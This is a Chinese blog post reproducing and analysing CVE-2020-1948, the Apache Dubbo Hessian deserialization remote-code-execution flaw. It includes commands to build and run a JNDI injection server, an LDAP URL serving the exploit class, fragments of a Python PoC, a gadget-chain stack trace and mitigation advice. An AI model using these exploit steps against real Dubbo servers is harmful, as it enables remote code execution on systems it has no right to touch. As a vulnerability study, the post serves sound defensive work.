关注该漏洞的童鞋,应该对 Dubbo
这个架构优秀的 RPC
框架不陌生,所以直入主题
漏洞详情
腾讯安全玄武实验室研究员发现,Dubbo 2.7.6
或更低版本采用的默认反序列化方式存在代码执行漏洞,当 Dubbo
服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,它将执行恶意代码。
经验证该反序列化漏洞需要服务端存在可以被利用的第三方库,而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链,攻击者可以利用它们直接对 Dubbo
服务端进行恶意代码执行,影响广泛。
影响版本
dubbo 2.7.6 以下的版本
复现环境
- mac 10.15
- idea 2020.1
- jdk-8u151(下载地址)
漏洞注入简介
漏洞发现者 rui0
,使用 Remo
模块,最终是通过 JdbcRowSetImpl
调用 jndi
来进行远程代码执行
由于该场景复现依赖于低版本的 jdk,之前使用 jdk-8u221 没能复现,去官网下载回低版本,使用低版本后成功复现
名词解释
- PoC:
Proof Of Concept
的缩写。在黑客圈指:观点验证程序。 - CVE:
Common Vulnerabilities & Exposures
通用漏洞披露。 - Exp:
Exploit
,在安全方面,翻译为 「利用」,指利用漏洞进行攻击的动作。 - Payload:翻译为「有效负荷」,指成功
exploit
后,在目标系统执行的代码或指令。 - RCE:
remote code execution
远程命令执行,简称RCE
漏洞。 - RMI: 专为
Java
环境设计的远程方法调用机制,远程服务器实现具体的Java
方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果,使分布在不同的JVM
中的对象的外表和行为都像本地对象一样。 - LDAP: 轻量级目录访问协议,目录服务是一种以树状结构的目录数据库为基础,外加各种访问协议的信息查询服务
- JNDI:
Java Naming and Directory Interface
,包括Naming Server
和Directory Server
。是一种Java API
,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
以上大概就是本次漏洞所涉及到的专业名词,先有个大概了解,后面的内容看的应该比较明白。
漏洞复现
复现场景翻阅了很多篇文章和尝试,发现通过别人构造的 payload
来复现最为简单,所以这里记录一下复现的流程
模拟 Provider
攻击依赖于 rome
工具包中的 ToStringBean
工具,所以无论下载什么提供者项目,都需要将以下依赖加入到 POM.xml
文件中
1 | <dependency> |
以 dubbo-spring-boot-project
说明
- 一、在
github
下载示例代码,切换分支到 2.7.6 或更早之前 - 二、在
pom.xml
中加入上面提到的remo
依赖 - 三、打包启动
1 | // 下载 |
- 四、启动服务提供者
启动的时候,注意要用低版本的 JDK
,使用 IDEA
的话,可以在这里选择编译运行的 JRE
接着启动 Provier
即可
运行 JNDI 程序
使用了该位大佬的 PoC
,里面注入的 URL
是 ldap://127.0.0.1:1389/Exploit
,具体原理可以 参考资料六
具体原理说明:
以下内容引用自 Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC
- 一、下载注入工具代码
1 | git clone https://github.com/sayers522/JNDI-Injection-Exploit |
- 二、编译工具包,在
target
目录生成
1 | mvn clean install -DskipTests |
- 三、运行
JNDI
工具包
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] |
例如测试时,执行的命令是打开计算器,可以执行下面命令
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /System/Applications/Calculator.app" -A 127.0.0.1 |
构造 PoC 对应的 payload
编辑以下 Python 脚本,触发 dubbo provider 反序列化,例如以漏洞名来命名为 2020_1948.py
1 | #-*-coding:utf-8-*- |
最终复现效果:
漏洞复现小结
- 1、下载
demo
代码,加入rome
依赖 - 2、启动
JNDI
服务 - 3、构造
2020-1948.py
Poc 攻击
漏洞原理简述
网上公布的 PoC
代码
1 | from dubbo.codec.hessian2 import Decoder,new_object |
本次漏洞利用的是 com.rometools.rome.feed.impl.ToStringBean#toString
方法,重写了 toString
,该方法将会调用构造对象的所有 getter
方法
从上面 PoC
可以看到,执行 Dubbo
调用时,传入的是 ToStringBean
类型参数,构造的对象是com.sun.rowset.JdbcRowSetImpl
,并且 datasource
属性设置的是 JNDI
暴露的 url
,在调用 JdbcRowSetImpl
的 getDatabaseMetaData
方法时,执行 connect
操作,下载远端代码,在 Service Provider
执行,造成攻击。
调起 toString
方法的地方是在 Dubbo Provider
接收 DecodeHandler#received:44
请求,在 DecodeableRpcInvocation#decode
反序列化参数的地方:
dubbo
默认使用的是 hession2
序列化,解析参数执行的是这个方法
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput#readUTF
在 hession
反序列化过程中,通过下面代码段执行到了 ToStringBean#toString
至此,注入攻击的流程到这里执行完成。可以参考左下侧的堆栈链路:
1 | connect:624, JdbcRowSetImpl (com.sun.rowset) |
社区讨论&安全网站修复建议
合并社区
aquariuspj
用户给出的对DecodeableRpcInvocation
增加入参类型校验- 漏洞发现者
rui0
建议删除RpcInvocation
类的toString
方法中输出的arguments
参数,防范后反序列化攻击。同时对Hessian
进行黑白名单加固来防范Hessian
反序列化攻击。
评论建议
目前官方还未发布针对此漏洞绕过手法的补丁,在阿里云提供一个月的默认防御期限内,建议客户参考以下方法进行缓解,并关注官方补丁动态,及时进行更新:
- 1、升级 2.7.7 版本,并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 的方法进行参数校验
- 禁止将
Dubbo
服务端端口开放给公网,或仅仅只对能够连接至Dubbo
服务端的可信消费端IP开放 Dubbo
协议默认采用Hessian
作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html
思考分析&修复思路
1、复现条件有限
需要引入 rome
类型的 jar
包,包含特殊的构造方法和 toString
方法(或许还有其它攻击点)
2、社区讨论内容
社区讨论和 commit
的内容,增加了前置校验,在反序列化之前判断服务或方法是否有效,非 $invoke
或 $echo
方法将会抛出错误,不进行参数的反序列化,增加了一点攻击难度。但由于方法名 methodName
可以用户自定义,所以修改方法名还是有可能跳过校验,触发漏洞
3、结合业务分析
业务方使用 rome
依赖的很少,构造这种类型的攻击,由于没有这个类,在 provider
反序列化时会提前报 classNotFoundException
,没有执行到 readObject
方法,从而无法攻击。
1、合并社区针对改漏洞的修复分支 #6374
2、将
RpcInvocation#toString
方法中Arrays.toString(arguments)
移除,避免对输入参数进行反序列化
絮叨
隔行如隔山,一山还有一山高,修复漏洞真困难。感慨漏洞发现者们,多亏这些白帽子的仔细,揭露了这么多可攻击点,将漏洞信息提交到安全中心,让使用方了解到漏洞详情。
还有 Dubbo
这个中间件的社区活跃度很高,出现问题后,大家讨论的热情高涨,积极去修复漏洞,社区活跃度高,代码更新快,支持的功能越来越多,使用起来也更放心。
通过这次分析,了解到挺多基础的安全知识,感觉随着开源代码被研究更透彻,可供攻击的点也越来越多,在代码设计和编写时,也得注意一下安全信息,避免被攻击。
参考资料
1、Apache Dubbo Provider 远程代码执行漏洞 (CVE-2020-1948)
2、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) 利用复现及POC
3、Apache Dubbo (CVE-2020-1948) 反序列化漏洞及其补丁绕过深度分析
4、Apache Dubbo漏洞CVE-2020-1948分析
5、Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
8、Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)
10、渗透中 PoC、Exp、Payload 与 Shellcode 的区别
11、Github 社区讨论